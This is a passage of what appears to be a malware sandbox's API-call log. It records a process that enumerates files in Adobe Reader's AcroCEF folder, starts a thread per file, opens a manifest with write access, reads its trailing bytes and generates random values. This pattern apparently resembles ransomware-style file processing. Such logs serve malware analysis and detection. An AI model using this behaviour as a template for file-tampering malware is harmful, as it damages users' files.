	[0089.676] FindNextFileW (in: hFindFile=0x477b528, lpFindFileData=0x2dbec58 | out: lpFindFileData=0x2dbec58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdac77826, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cef_200_percent.pak", cAlternateFileName="CEF_20~1.PAK")) returned 1
	[0089.676] wcscmp (_String1="cef_200_percent.pak", _String2=".") returned 1
	[0089.676] wcscmp (_String1="cef_200_percent.pak", _String2="..") returned 1
	[0089.676] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa4) returned 0x2d5dae8
	[0089.676] wcscpy (in: _Dest=0x2d5dae8, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF"
	[0089.676] wcscat (in: _Dest=0x2d5dae8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\"
	[0089.676] wcscat (in: _Dest=0x2d5dae8, _Source="cef_200_percent.pak" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\cef_200_percent.pak") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\cef_200_percent.pak"
	[0089.676] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d5dae8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d10
	[0089.677] FindNextFileW (in: hFindFile=0x477b528, lpFindFileData=0x2dbec58 | out: lpFindFileData=0x2dbec58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdac77826, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cef_extensions.pak", cAlternateFileName="CEF_EX~1.PAK")) returned 1
	[0089.677] wcscmp (_String1="cef_extensions.pak", _String2=".") returned 1
	[0089.677] wcscmp (_String1="cef_extensions.pak", _String2="..") returned 1
	[0089.677] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa2) returned 0x2d5e328
	[0089.677] wcscpy (in: _Dest=0x2d5e328, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF"
	[0089.677] wcscat (in: _Dest=0x2d5e328, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\"
	[0089.677] wcscat (in: _Dest=0x2d5e328, _Source="cef_extensions.pak" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\cef_extensions.pak") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\cef_extensions.pak"
	[0089.677] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d5e328, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d14
	[0089.677] FindNextFileW (in: hFindFile=0x477b528, lpFindFileData=0x2dbec58 | out: lpFindFileData=0x2dbec58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xd9f80ae4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x6b3f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome_elf.dll", cAlternateFileName="CHROME~1.DLL")) returned 1
	[0089.677] wcscmp (_String1="chrome_elf.dll", _String2=".") returned 1
	[0089.677] wcscmp (_String1="chrome_elf.dll", _String2="..") returned 1
	[0089.677] FindNextFileW (in: hFindFile=0x477b528, lpFindFileData=0x2dbec58 | out: lpFindFileData=0x2dbec58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72bf0d00, ftCreationTime.dwHighDateTime=0x1d28909, ftLastAccessTime.dwLowDateTime=0x190c1897, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x72bf0d00, ftLastWriteTime.dwHighDateTime=0x1d28909, nFileSizeHigh=0x0, nFileSizeLow=0x6994, dwReserved0=0x0, dwReserved1=0x0, cFileName="COPYING.LGPLv2.1.txt", cAlternateFileName="COPYIN~1.TXT")) returned 1
	[0089.677] wcscmp (_String1="COPYING.LGPLv2.1.txt", _String2=".") returned 1
	[0089.678] wcscmp (_String1="COPYING.LGPLv2.1.txt", _String2="..") returned 1
	[0089.678] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa6) returned 0x2d5e538
	[0089.678] wcscpy (in: _Dest=0x2d5e538, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF"
	[0089.678] wcscat (in: _Dest=0x2d5e538, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\"
	[0089.678] wcscat (in: _Dest=0x2d5e538, _Source="COPYING.LGPLv2.1.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\COPYING.LGPLv2.1.txt") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\COPYING.LGPLv2.1.txt"
	[0089.678] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d5e538, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d18
	[0089.678] FindNextFileW (in: hFindFile=0x477b528, lpFindFileData=0x2dbec58 | out: lpFindFileData=0x2dbec58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xd9fa6d5f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x202368, dwReserved0=0x0, dwReserved1=0x0, cFileName="d3dcompiler_43.dll", cAlternateFileName="D3DCOM~1.DLL")) returned 1
	[0089.678] wcscmp (_String1="d3dcompiler_43.dll", _String2=".") returned 1
	[0089.678] wcscmp (_String1="d3dcompiler_43.dll", _String2="..") returned 1
	[0089.678] FindNextFileW (in: hFindFile=0x477b528, lpFindFileData=0x2dbec58 | out: lpFindFileData=0x2dbec58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdaefffe5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x392eb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="d3dcompiler_47.dll", cAlternateFileName="D3DCOM~2.DLL")) returned 1
	[0089.678] wcscmp (_String1="d3dcompiler_47.dll", _String2=".") returned 1
	[0089.678] wcscmp (_String1="d3dcompiler_47.dll", _String2="..") returned 1
	[0089.678] FindNextFileW (in: hFindFile=0x477b528, lpFindFileData=0x2dbec58 | out: lpFindFileData=0x2dbec58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xd9f5a940, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x9b49f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="icudt.dll", cAlternateFileName="")) returned 1
	[0089.678] wcscmp (_String1="icudt.dll", _String2=".") returned 1
	[0089.679] wcscmp (_String1="icudt.dll", _String2="..") returned 1
	[0089.679] FindNextFileW (in: hFindFile=0x477b528, lpFindFileData=0x2dbec58 | out: lpFindFileData=0x2dbec58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdac9da78, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="icudtl.dat", cAlternateFileName="")) returned 1
	[0089.679] wcscmp (_String1="icudtl.dat", _String2=".") returned 1
	[0089.679] wcscmp (_String1="icudtl.dat", _String2="..") returned 1
	[0089.679] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x92) returned 0x4894a00
	[0089.679] wcscpy (in: _Dest=0x4894a00, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF"
	[0089.679] wcscat (in: _Dest=0x4894a00, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\"
	[0089.679] wcscat (in: _Dest=0x4894a00, _Source="icudtl.dat" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\icudtl.dat") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\icudtl.dat"
	[0089.679] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4894a00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d1c
	[0089.679] FindNextFileW (in: hFindFile=0x477b528, lpFindFileData=0x2dbec58 | out: lpFindFileData=0x2dbec58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cc98600, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe293087a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3cc98600, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x458f9f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="libcef.dll", cAlternateFileName="")) returned 1
	[0089.679] wcscmp (_String1="libcef.dll", _String2=".") returned 1
	[0089.679] wcscmp (_String1="libcef.dll", _String2="..") returned 1
	[0089.679] FindNextFileW (in: hFindFile=0x477b528, lpFindFileData=0x2dbec58 | out: lpFindFileData=0x2dbec58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xd9fa6d5f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x15650, dwReserved0=0x0, dwReserved1=0x0, cFileName="libEGL.dll", cAlternateFileName="")) returned 1
	[0089.679] wcscmp (_String1="libEGL.dll", _String2=".") returned 1
	[0089.679] wcscmp (_String1="libEGL.dll", _String2="..") returned 1
	[0089.679] FindNextFileW (in: hFindFile=0x477b528, lpFindFileData=0x2dbec58 | out: lpFindFileData=0x2dbec58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xda3accdd, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x2ca650, dwReserved0=0x0, dwReserved1=0x0, cFileName="libGLESv2.dll", cAlternateFileName="LIBGLE~1.DLL")) returned 1
	[0089.679] wcscmp (_String1="libGLESv2.dll", _String2=".") returned 1
	[0089.679] wcscmp (_String1="libGLESv2.dll", _String2="..") returned 1
	[0089.680] FindNextFileW (in: hFindFile=0x477b528, lpFindFileData=0x2dbec58 | out: lpFindFileData=0x2dbec58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72bf0d00, ftCreationTime.dwHighDateTime=0x1d28909, ftLastAccessTime.dwLowDateTime=0x190e7af4, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x72bf0d00, ftLastWriteTime.dwHighDateTime=0x1d28909, nFileSizeHigh=0x0, nFileSizeLow=0x69b, dwReserved0=0x0, dwReserved1=0x0, cFileName="LICENSE.txt", cAlternateFileName="")) returned 1
	[0089.680] wcscmp (_String1="LICENSE.txt", _String2=".") returned 1
	[0089.680] wcscmp (_String1="LICENSE.txt", _String2="..") returned 1
	[0089.680] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x94) returned 0x4894500
	[0089.680] wcscpy (in: _Dest=0x4894500, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF"
	[0089.680] wcscat (in: _Dest=0x4894500, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\"
	[0089.680] wcscat (in: _Dest=0x4894500, _Source="LICENSE.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\LICENSE.txt") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\LICENSE.txt"
	[0089.680] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4894500, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d20
	[0089.680] FindNextFileW (in: hFindFile=0x477b528, lpFindFileData=0x2dbec58 | out: lpFindFileData=0x2dbec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdac9da78, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xdac9da78, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdac9da78, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="locales", cAlternateFileName="")) returned 1
	[0089.680] wcscmp (_String1="locales", _String2=".") returned 1
	[0089.680] wcscmp (_String1="locales", _String2="..") returned 1
	[0089.680] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x8c) returned 0x4e31678
	[0089.680] wcscpy (in: _Dest=0x4e31678, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF"
	[0089.680] wcscat (in: _Dest=0x4e31678, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\"
	[0089.680] wcscat (in: _Dest=0x4e31678, _Source="locales" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\locales") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\locales"
	[0089.680] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4e31678, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d24
	[0089.681] FindNextFileW (in: hFindFile=0x477b528, lpFindFileData=0x2dbec58 | out: lpFindFileData=0x2dbec58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdaaadbf3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="natives_blob.bin", cAlternateFileName="NATIVE~1.BIN")) returned 1
	[0089.681] wcscmp (_String1="natives_blob.bin", _String2=".") returned 1
	[0089.681] wcscmp (_String1="natives_blob.bin", _String2="..") returned 1
	[0089.681] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x9e) returned 0x4986710
	[0089.681] wcscpy (in: _Dest=0x4986710, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF"
	[0089.681] wcscat (in: _Dest=0x4986710, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\"
	[0089.681] wcscat (in: _Dest=0x4986710, _Source="natives_blob.bin" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\natives_blob.bin") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\natives_blob.bin"
	[0089.681] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4986710, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d28
	[0089.682] FindNextFileW (in: hFindFile=0x477b528, lpFindFileData=0x2dbec58 | out: lpFindFileData=0x2dbec58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cc98600, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdb54228e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3cc98600, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0xbff7f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RdrCEF.exe", cAlternateFileName="")) returned 1
	[0089.682] wcscmp (_String1="RdrCEF.exe", _String2=".") returned 1
	[0089.682] wcscmp (_String1="RdrCEF.exe", _String2="..") returned 1
	[0089.682] FindNextFileW (in: hFindFile=0x477b528, lpFindFileData=0x2dbec58 | out: lpFindFileData=0x2dbec58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cc98600, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdbc431b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3cc98600, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x13279f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RdrServicesUpdater.exe", cAlternateFileName="RDRSER~1.EXE")) returned 1
	[0089.682] wcscmp (_String1="RdrServicesUpdater.exe", _String2=".") returned 1
	[0089.682] wcscmp (_String1="RdrServicesUpdater.exe", _String2="..") returned 1
	[0089.682] FindNextFileW (in: hFindFile=0x477b528, lpFindFileData=0x2dbec58 | out: lpFindFileData=0x2dbec58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdaad3e64, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="snapshot_blob.bin", cAlternateFileName="SNAPSH~1.BIN")) returned 1
	[0089.682] wcscmp (_String1="snapshot_blob.bin", _String2=".") returned 1
	[0089.682] wcscmp (_String1="snapshot_blob.bin", _String2="..") returned 1
	[0089.682] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa0) returned 0x49867b8
	[0089.682] wcscpy (in: _Dest=0x49867b8, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF"
	[0089.682] wcscat (in: _Dest=0x49867b8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\"
	[0089.682] wcscat (in: _Dest=0x49867b8, _Source="snapshot_blob.bin" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\snapshot_blob.bin") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\snapshot_blob.bin"
	[0089.682] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x49867b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d2c
	[0089.683] FindNextFileW (in: hFindFile=0x477b528, lpFindFileData=0x2dbec58 | out: lpFindFileData=0x2dbec58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xda576987, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x361f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="widevinecdmadapter.dll", cAlternateFileName="WIDEVI~1.DLL")) returned 1
	[0089.683] wcscmp (_String1="widevinecdmadapter.dll", _String2=".") returned 1
	[0089.683] wcscmp (_String1="widevinecdmadapter.dll", _String2="..") returned 1
	[0089.683] FindNextFileW (in: hFindFile=0x477b528, lpFindFileData=0x2dbec58 | out: lpFindFileData=0x2dbec58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xda576987, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x361f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="widevinecdmadapter.dll", cAlternateFileName="WIDEVI~1.DLL")) returned 0
	[0089.683] FindClose (in: hFindFile=0x477b528 | out: hFindFile=0x477b528) returned 1
	[0089.684] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dbec58) returned 1
	[0089.684] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x498d818) returned 1
	[0089.684] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x498d570) returned 1

Thread:
	id = 768
	os_tid = 0x1b2c

	[0079.449] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Adobe.Reader.Dependencies.manifest" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\adobe.reader.dependencies.manifest")) returned 0x20
	[0087.493] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Adobe.Reader.Dependencies.manifest", dwFileAttributes=0x20) returned 1
	[0087.504] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Adobe.Reader.Dependencies.manifest" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\adobe.reader.dependencies.manifest"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1afc
	[0087.504] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x1c4bf7a4 | out: lpFileSize=0x1c4bf7a4*=1809) returned 1
	[0087.504] SetFilePointerEx (in: hFile=0x1afc, liDistanceToMove=0x70d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.504] ReadFile (in: hFile=0x1afc, lpBuffer=0x1c4bf728, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1c4bf724, lpOverlapped=0x0 | out: lpBuffer=0x1c4bf728*, lpNumberOfBytesRead=0x1c4bf724*=0x4, lpOverlapped=0x0) returned 1
	[0087.510] SetFilePointerEx (in: hFile=0x1afc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.510] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47815f8
	[0087.510] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47813a0
	[0087.510] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781558
	[0087.510] NtQuerySystemTime (in: CurrentTime=0x1c4bf704 | out: CurrentTime=0x1c4bf704*=132251868142413006) returned 0x0
	[0087.510] RtlRandom (in: Seed=0x1c4bf710 | out: Seed=0x1c4bf710) returned 0x21f18d2
	[0087.510] RtlRandom (in: Seed=0x1c4bf710 | out: Seed=0x1c4bf710) returned 0xe3adacae
	[0087.510] RtlRandom (in: Seed=0x1c4bf710 | out: Seed=0x1c4bf710) returned 0x498fdde2
	[0087.510] RtlRandom (in: Seed=0x1c4bf710 | out: Seed=0x1c4bf710) returned 0x24697892
	[0087.510] RtlRandom (in: Seed=0x1c4bf710 | out: Seed=0x1c4bf710) returned 0xaac20300
	[0087.510] RtlRandom (in: Seed=0x1c4bf710 | out: Seed=0x1c4bf710) returned 0x6f5d9fd8
	[0087.510] RtlRandom (in: Seed=0x1c4bf710 | out: Seed=0x1c4bf710) returned 0xb7eac0e3
	[0087.510] RtlRandom (in: Seed=0x1c4bf710 | out: Seed=0x1c4bf710) returned 0x60c497f6
	[0087.510] RtlRandom (in: Seed=0x1c4bf710 | out: Seed=0x1c4bf710) returned 0x8f8610a4
	[0087.510] RtlRandom (in: Seed=0x1c4bf710 | out: Seed=0x1c4bf710) returned 0x81d441db
	[0087.510] RtlRandom (in: Seed=0x1c4bf710 | out: Seed=0x1c4bf710) returned 0x36d5da18
	[0087.510] RtlRandom (in: Seed=0x1c4bf710 | out: Seed=0x1c4bf710) returned 0x1703e02d
	[0087.510] RtlRandom (in: Seed=0x1c4bf710 | out: Seed=0x1c4bf710) returned 0x7b2ad45c
	[0087.511] RtlRandom (in: Seed=0x1c4bf710 | out: Seed=0x1c4bf710) returned 0x65455f10
	[0087.511] RtlRandom (in: Seed=0x1c4bf710 | out: Seed=0x1c4bf710) returned 0xe034d5c3
	[0087.511] RtlRandom (in: Seed=0x1c4bf710 | out: Seed=0x1c4bf710) returned 0xb5ada918
